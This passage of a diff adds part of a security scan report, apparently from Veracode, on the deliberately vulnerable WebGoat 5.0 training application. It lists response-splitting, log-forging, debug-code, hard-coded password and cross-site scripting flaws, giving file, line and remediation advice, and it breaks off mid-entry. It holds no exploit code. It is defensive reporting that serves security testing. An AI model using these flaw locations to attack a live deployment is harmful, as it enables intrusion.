+        cweid=\"113\" cwename=\"Improper Neutralization of CRLF Sequences in HTTP
+        Headers ('HTTP Response Splitting')\" pcirelated=\"false\">\n<description>\n<text
+        text=\"A function call contains an HTTP response splitting flaw.  Writing
+        unsanitized user-supplied input into an HTTP header allows an attacker to
+        manipulate the HTTP response rendered by the browser, leading to cache poisoning
+        and cross-site scripting attacks.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"10\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.sendRedirect\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.sendRedirect() contains an
+        HTTP response splitting flaw. Writing unsanitized user-supplied input into
+        an HTTP header allows an attacker to manipulate the HTTP response rendered
+        by the browser, to inject additional headers or an entire response body into
+        the response stream. Injecting headers can be used to trick various security
+        mechanisms in browsers into allowing XSS style attacks. Injecting entire response
+        bodies can not only cause XSS attacks to succeed but may even poison the cache
+        of any intermediary proxies between the clients and the application server.
+        The first argument to sendRedirect() contains tainted data from the variable
+        request.getParameter(). The tainted data originated from an earlier call to
+        javax.servlet.ServletRequest.getParameter.\r\n\r\nEscape, encode, or remove
+        carriage return and line feed characters from user-supplied data before inclusion
+        in HTTP response headers. Whenever possible, use a security library such as
+        ESAPI that provides safe versions of addHeader(), etc. that will automatically
+        remove unexpected carriage returns and line feeds and can be configured to
+        use HTML entity encoding for non-alphanumeric data. Only write custom blacklisting
+        code when absolutely necessary. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/113.html)
+        \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting) \r\nWASC
+        (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\" note=\"\"
+        cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"config_jsp.java\"
+        line=\"43\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/ConfManagement/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.ConfManagement.config_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"60\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"78\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.setHeader\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.setHeader() contains an HTTP
+        response splitting flaw. Writing unsanitized user-supplied input into an HTTP
+        header allows an attacker to manipulate the HTTP response rendered by the
+        browser, to inject additional headers or an entire response body into the
+        response stream. Injecting headers can be used to trick various security mechanisms
+        in browsers into allowing XSS style attacks. Injecting entire response bodies
+        can not only cause XSS attacks to succeed but may even poison the cache of
+        any intermediary proxies between the clients and the application server. The
+        second argument to setHeader() contains tainted data from the variable cookie.
+        The tainted data originated from an earlier call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nEscape,
+        encode, or remove carriage return and line feed characters from user-supplied
+        data before inclusion in HTTP response headers. Whenever possible, use a security
+        library such as ESAPI that provides safe versions of addHeader(), etc. that
+        will automatically remove unexpected carriage returns and line feeds and can
+        be configured to use HTML entity encoding for non-alphanumeric data. Only
+        write custom blacklisting code when absolutely necessary. Always validate
+        user-supplied input to ensure that it conforms to the expected format, using
+        centralized data validation routines when possible.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/113.html) \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting)
+        \r\nWASC (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\"
+        note=\"\" cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HttpOnly.java\"
+        line=\"198\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.HttpOnly\"
+        functionprototype=\"void setHttpOnly(session.WebSession)\" functionrelativelocation=\"89\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"204\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.setHeader\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.setHeader() contains an HTTP
+        response splitting flaw. Writing unsanitized user-supplied input into an HTTP
+        header allows an attacker to manipulate the HTTP response rendered by the
+        browser, to inject additional headers or an entire response body into the
+        response stream. Injecting headers can be used to trick various security mechanisms
+        in browsers into allowing XSS style attacks. Injecting entire response bodies
+        can not only cause XSS attacks to succeed but may even poison the cache of
+        any intermediary proxies between the clients and the application server. The
+        second argument to setHeader() contains tainted data from the variable cookie.
+        The tainted data originated from an earlier call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nEscape,
+        encode, or remove carriage return and line feed characters from user-supplied
+        data before inclusion in HTTP response headers. Whenever possible, use a security
+        library such as ESAPI that provides safe versions of addHeader(), etc. that
+        will automatically remove unexpected carriage returns and line feeds and can
+        be configured to use HTML entity encoding for non-alphanumeric data. Only
+        write custom blacklisting code when absolutely necessary. Always validate
+        user-supplied input to ensure that it conforms to the expected format, using
+        centralized data validation routines when possible.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/113.html) \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting)
+        \r\nWASC (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\"
+        note=\"\" cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HttpOnly.java\"
+        line=\"212\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.HttpOnly\"
+        functionprototype=\"void removeHttpOnly(session.WebSession)\" functionrelativelocation=\"89\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"92\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.sendRedirect\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.sendRedirect() contains an
+        HTTP response splitting flaw. Writing unsanitized user-supplied input into
+        an HTTP header allows an attacker to manipulate the HTTP response rendered
+        by the browser, to inject additional headers or an entire response body into
+        the response stream. Injecting headers can be used to trick various security
+        mechanisms in browsers into allowing XSS style attacks. Injecting entire response
+        bodies can not only cause XSS attacks to succeed but may even poison the cache
+        of any intermediary proxies between the clients and the application server.
+        The first argument to sendRedirect() contains tainted data from the variable
+        request.getParameter(). The tainted data originated from an earlier call to
+        javax.servlet.ServletRequest.getParameter.\r\n\r\nEscape, encode, or remove
+        carriage return and line feed characters from user-supplied data before inclusion
+        in HTTP response headers. Whenever possible, use a security library such as
+        ESAPI that provides safe versions of addHeader(), etc. that will automatically
+        remove unexpected carriage returns and line feeds and can be configured to
+        use HTML entity encoding for non-alphanumeric data. Only write custom blacklisting
+        code when absolutely necessary. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/113.html)
+        \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting) \r\nWASC
+        (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\" note=\"\"
+        cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"redirect_jsp.java\"
+        line=\"43\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/General/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.General.redirect_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"62\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"170\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() contains an HTTP
+        response splitting flaw. Writing unsanitized user-supplied input into an HTTP
+        header allows an attacker to manipulate the HTTP response rendered by the
+        browser, to inject additional headers or an entire response body into the
+        response stream. Injecting headers can be used to trick various security mechanisms
+        in browsers into allowing XSS style attacks. Injecting entire response bodies
+        can not only cause XSS attacks to succeed but may even poison the cache of
+        any intermediary proxies between the clients and the application server. The
+        first argument to addCookie() contains tainted data from the variable cookies.
+        The tainted data originated from an earlier call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nEscape,
+        encode, or remove carriage return and line feed characters from user-supplied
+        data before inclusion in HTTP response headers. Whenever possible, use a security
+        library such as ESAPI that provides safe versions of addHeader(), etc. that
+        will automatically remove unexpected carriage returns and line feeds and can
+        be configured to use HTML entity encoding for non-alphanumeric data. Only
+        write custom blacklisting code when absolutely necessary. Always validate
+        user-supplied input to ensure that it conforms to the expected format, using
+        centralized data validation routines when possible.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/113.html) \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting)
+        \r\nWASC (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\"
+        note=\"\" cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WebSession.java\"
+        line=\"335\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.WebSession\"
+        functionprototype=\"void eatCookies()\" functionrelativelocation=\"79\"/>\n</staticflaws>\n</cwe>\n<cwe
+        cweid=\"117\" cwename=\"Improper Output Neutralization for Logs\" pcirelated=\"false\"
+        owasp=\"929\">\n<description>\n<text text=\"A function call could result in
+        a log forging attack.  Writing unsanitized user-supplied data into a log file
+        allows an attacker to forge log entries or inject malicious content into log
+        files.  Corrupted log files can be used to cover an attacker's tracks or as
+        a delivery mechanism for an attack on a log viewing or processing utility.
+        \ For example, if a web administrator uses a browser-based utility to review
+        logs, a cross-site scripting attack might be possible.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Improper Output Neutralization for Logs\" count=\"1\"
+        issueid=\"214\" module=\"WebGoat-5.0-with-jsp.war\" type=\"javax.servlet.GenericServlet.log\"
+        description=\"This call to javax.servlet.GenericServlet.log() could result
+        in a log forging attack. Writing unsanitized user-supplied data into a log
+        file allows an attacker to forge log entries or inject malicious content into
+        log files. Corrupted log files can be used to cover an attacker's tracks or
+        as a delivery mechanism for an attack on a log viewing or processing utility.
+        For example, if a web administrator uses a browser-based utility to review
+        logs, a cross-site scripting attack might be possible. The first argument
+        to log() contains tainted data from the variable output. The tainted data
+        originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid
+        directly embedding user input in log files when possible. Sanitize user-supplied
+        data used to construct log entries by using a safe logging mechanism such
+        as the OWASP ESAPI Logger, which will automatically remove unexpected carriage
+        returns and line feeds and can be configured to use HTML entity encoding for
+        non-alphanumeric data. Only write custom blacklisting code when absolutely
+        necessary. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/117.html) \r\nOWASP (http://www.owasp.org/index.php/Log_injection)
+        \r\nWASC (http://webappsec.pbworks.com/Improper-Output-Handling)\r\n\r\n\"
+        note=\"\" cweid=\"117\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"npp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HammerHead.java\"
+        line=\"306\" sourcefilepath=\"org/owasp/webgoat/\" scope=\"org.owasp.webgoat.HammerHead\"
+        functionprototype=\"void log(javax.servlet.http.HttpServletRequest, java.lang.String)\"
+        functionrelativelocation=\"84\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"17\" categoryname=\"Code Quality\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Code quality issues stem from failure to follow good coding practices
+        and can lead to unpredictable behavior. These may include but are not limited
+        to:\">\n<bulletitem text=\"Neglecting to remove debug code or dead code\"/>\n<bulletitem
+        text=\"Improper resource management, such as using a pointer after it has
+        been freed\"/>\n<bulletitem text=\"Using the incorrect operator to compare
+        objects\"/>\n<bulletitem text=\"Failing to follow an API or framework specification\"/>\n<bulletitem
+        text=\"Using a language feature or API in an unintended manner\"/>\n</para>\n<para
+        text=\"While code quality flaws are generally less severe than other categories
+        and usually are not directly exploitable, they may serve as indicators that
+        developers are not following practices that increase the reliability and security
+        of an application.  For an attacker, code quality issues may provide an opportunity
+        to stress the application in unexpected ways.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"The wide variance of code quality issues makes it impractical to generalize
+        how these issues should be addressed.  Refer to individual categories for
+        specific recommendations. \"/>\n</recommendations>\n<cwe cweid=\"489\" cwename=\"Leftover
+        Debug Code\" pcirelated=\"false\">\n<description>\n<text text=\"A method may
+        be leftover debug code that creates an unintended entry point in a web application.
+        \ Although this is an acceptable practice during product development, classes
+        that are part of a production J2EE application should not define a main()
+        method.  Whether this method can be remotely invoked depends on the configuration
+        of the J2EE container and the application itself.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"70\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CreateDB.java\"
+        line=\"53\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.CreateDB\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"42\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Encoding.java\"
+        line=\"744\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Encoding\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"243\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Exec.java\"
+        line=\"505\" sourcefilepath=\"org/owasp/webgoat/util/\" scope=\"org.owasp.webgoat.util.Exec\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"133\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WebgoatProperties.java\"
+        line=\"114\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.WebgoatProperties\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"10\" categoryname=\"Credentials Management\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Improper management of credentials, such as usernames and passwords,
+        may compromise system security.  In particular, storing passwords in plaintext
+        or hard-coding passwords directly into application code are design issues
+        that cannot be easily remedied.  Not only does embedding a password allow
+        all of the project's developers to view the password, it also makes fixing
+        the problem extremely difficult.  Once the code is in production, the password
+        cannot be changed without patching the software.  If a hard-coded password
+        is compromised in a commercial product, all deployed instances may be vulnerable
+        to attack, putting customers at risk.\"/>\n<para text=\"One variation on hard-coding
+        plaintext passwords is to hard-code a constant string which is the result
+        of a cryptographic one-way hash.  For example, instead of storing the word
+        &quot;secret,&quot; the application stores an MD5 hash of the word.  This
+        is a common mechanism for obscuring hard-coded passwords from casual viewing
+        but does not significantly reduce risk.  However, using cryptographic hashes
+        for data stored outside the application code can be an effective practice.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Avoid storing passwords in easily accessible locations, and never store
+        any type of sensitive data in plaintext.  Avoid using hard-coded usernames,
+        passwords, or hash constants whenever possible, particularly in relation to
+        security-critical components.   Store passwords out-of-band from the application
+        code.  Follow best practices for protecting credentials stored in alternate
+        locations such as configuration or properties files.\"/>\n</recommendations>\n<cwe
+        cweid=\"256\" cwename=\"Plaintext Storage of a Password\" pcirelated=\"false\"
+        owasp=\"930\">\n<description>\n<text text=\"A method reads and/or stores sensitive
+        information in plaintext, making the data more susceptible to compromise.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Plaintext Storage of a Password\" count=\"1\"
+        issueid=\"223\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"The java.sql.DriverManager.getConnection() method reads and/or
+        stores sensitive information in plaintext, making the data more susceptible
+        to compromise.\r\n\r\nNever store sensitive data in plaintext. Consider using
+        cryptographic hashes as an alternative to plaintext.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/256.html)\r\n\r\n\" note=\"\" cweid=\"256\"
+        remediationeffort=\"4\" exploitLevel=\"0\" categoryid=\"10\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"97\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(void)\" functionrelativelocation=\"72\"/>\n</staticflaws>\n</cwe>\n<cwe
+        cweid=\"259\" cwename=\"Use of Hard-coded Password\" pcirelated=\"false\"
+        owasp=\"930\" sans=\"798\" certjava=\"861\">\n<description>\n<text text=\"A
+        method uses a hard-coded password that may compromise system security in a
+        way that cannot be easily remedied.  The use of a hard-coded password significantly
+        increases the possibility that the account being protected will be compromised.
+        \ Moreover, the password cannot be changed without patching the software.
+        \ If a hard-coded password is compromised in a commercial product, all deployed
+        instances may be vulnerable to attack.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Use of Hard-coded Password\" count=\"1\" issueid=\"28\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"The java.sql.DriverManager.getConnection() method uses a hard-coded
+        password that may compromise system security in a way that cannot be easily
+        remedied. The use of a hard-coded password significantly increases the possibility
+        that the account being protected will be compromised. Moreover, the password
+        cannot be changed without patching the software. If a hard-coded password
+        is compromised in a commercial product, all deployed instances may be vulnerable
+        to attack.\r\n\r\nStore passwords out-of-band from the application code. Follow
+        best practices for protecting credentials stored in locations such as configuration
+        or properties files.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/259.html)\r\n\r\n\"
+        note=\"\" cweid=\"259\" remediationeffort=\"4\" exploitLevel=\"1\" categoryid=\"10\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CreateDB.java\"
+        line=\"69\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.CreateDB\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"16\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"20\" categoryname=\"Cross-Site Scripting\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Cross-site scripting (XSS) attacks occur when an attacker uses a web
+        application to send malicious code, generally in the form of a browser side
+        script, to a different end user. Flaws that allow these attacks to succeed
+        occur whenever a web application uses untrusted data in the output it generates
+        without validating or encoding it.  XSS vulnerabilities are commonly exploited
+        to steal or manipulate cookies, modify presentation of content, and compromise
+        sensitive information, with new attack vectors being discovered on a regular
+        basis.  XSS is also commonly referred to as HTML injection.\"/>\n<para text=\"XSS
+        vulnerabilities can be either persistent or transient (often referred to as
+        stored and reflected, respectively).  In a persistent XSS vulnerability, the
+        injected code is stored by the application, for example within a blog comment
+        or message board.  The attack occurs whenever a victim views the page containing
+        the malicious script.  In a transient XSS vulnerability, the injected code
+        is included directly in the HTTP request.  These attacks are often carried
+        out via malicious URLs sent via email or another website and requires the
+        victim to browse to that link.  The consequence of an XSS attack to a victim
+        is the same regardless of whether it is persistent or transient; however,
+        persistent XSS vulnerabilities are likely to affect a greater number of victims
+        due to its delivery mechanism.\"/>\n</desc>\n<recommendations>\n<para text=\"Several
+        techniques can be used to prevent XSS attacks. These techniques complement
+        each other and address security at different points in the application. Using
+        multiple techniques provides defense-in-depth and minimizes the likelihood
+        of a XSS vulnerability.\">\n<bulletitem text=\"Use output filtering to sanitize
+        all output generated from user-supplied input, selecting the appropriate method
+        of encoding based on the use case of the untrusted data.  For example, if
+        the data is being written to the body of an HTML page, use HTML entity encoding.
+        \ However, if the data is being used to construct generated Javascript or
+        if it is consumed by client-side methods that may interpret it as code (a
+        common technique in Web 2.0 applications), additional restrictions may be
+        necessary beyond simple HTML encoding.\"/>\n<bulletitem text=\"Validate user-supplied
+        input using positive filters (white lists) to ensure that it conforms to the
+        expected format, using centralized data validation routines when possible.
+        \"/>\n<bulletitem text=\"Do not permit users to include HTML content in posts,
+        notes, or other data that will be displayed by the application.  If users
+        are permitted to include HTML tags, then carefully limit access to specific
+        elements or attributes, and use strict validation filters to prevent abuse.\"/>\n</para>\n</recommendations>\n<cwe
+        cweid=\"83\" cwename=\"Improper Neutralization of Script in Attributes in
+        a Web Page\" pcirelated=\"false\" owasp=\"931\">\n<description>\n<text text=\"The
+        application does not filter text or other data for potentially malicious HTML
+        content. This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\"/>\n</description>\n<dynamicflaws>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"277\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/attack\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"278\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
